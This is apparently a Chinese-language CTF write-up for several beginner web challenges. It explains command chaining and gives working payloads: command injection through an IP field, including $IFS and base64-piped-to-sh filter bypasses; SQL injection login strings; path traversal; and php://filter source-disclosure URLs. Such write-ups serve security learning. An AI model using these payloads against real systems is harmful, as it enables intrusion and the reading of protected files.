目录
Secret File
打开后,查看源码
发现了aechive room.php,转入
点击SECRET,发现出现了另一个页面,
于是返回尝试抓包,在SECRET的页面尝试抓包,抓包后发现了一个新的文件 secr3t.php
转入,发现是一段代码审计
filter伪协议,出现了一段字母数字排序;
用base64解码,出现了flag
Exec1
先了解一下命令拼接符:
a && b :执行前者命令a再执行后命令b,命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。
a & b:执行命令a再执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰。
a || b:a失败才会执行b;a成功不会执行b命令;
a | b:无论a成功与否,都会执行b命令;
另外
ls:仅罗列出当前文件名或目录名;
ls -a:列出目录下的所有文件,包括以 . 开头的隐含文件;
ls -al:显示当前目录下的所有文件及文件夹包括隐藏的.和…等的详细信息
先查看目录信息 127.0.0.1 | ls (执行b),出来了一个文件,没什么用
遍历一下试试,127.0.0.1;cd ../ ls
直到127.0.0.1;cd../../../;ls时,出现了flag的文件
打开后,127.0.0.1;cd ../../../;cat flag
ping ping ping
查找目录,看到了flag.php
进去试试看
找到了放flag的文件,但是要打开该文件得用到命令cat flag.php , 必须绕过空格过滤
常用的空格绕过方法
$IFS$IFS$6 ——后面的数字6换成其他数字也行
${IFS}
<
<>
{cat,flag.php} ——这里把,替换成了空格键
%20 ——代表space键
%09 ——代表Tab键
使用命令cat$IFS$6index.php
接着查看网站源码
参考其他大佬的方法,感觉很实用,文里还有其他的方法,都很实用,感觉这个最容易理解
sh编码绕过法
echo 命令编码|base64 -d|sh
也可以换成其他的编码形式,这里用base64的
空格用$IFS$6替换掉
cat flag.php 的base64编码为Y2F0IGZsYWcucGhw
构造payload , 相当于执行命令cat flag.phpinurl?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh
再查看网站源码,得到flag
EasySQL
传入的参数改为username=admin' or '1'='1&password=test' or '1'='1
' or 1=1 #
' or 1=1 -- (后面有空格)
'or"="or'
secpulse'=' secpulse'='
WarmUp
打开后查看源码,看到了source.php
访问source.php后,看到了hint.php
访问hint.php试试
提示有ffffllllaaaagggg,尝试file=hint.php?../../../../../ffffllllaaaagggg,
出现了flag
Include 1
写之前先看看这些内容
php://filter——读取源码
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流>指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表>任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
主要有一下两个应用:
1、利用base64获得源码
2、通过读写编码实行绕过操作
base64获取源码
通常会构造payload:‘php://filter/read=convert.base64-encode/resource=xxx.php’
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag,以上内容在这篇文章上有更详细的说明
打开后点击tips没有得到有用信息,返回查看源码
看到了flag.php,访问,也没有什么用
试试先用文件包含漏洞中php://filter/convert.base64-encode/resource
伪协议帮我们返回已知页面的代码
出现了密文,解码后得到了flag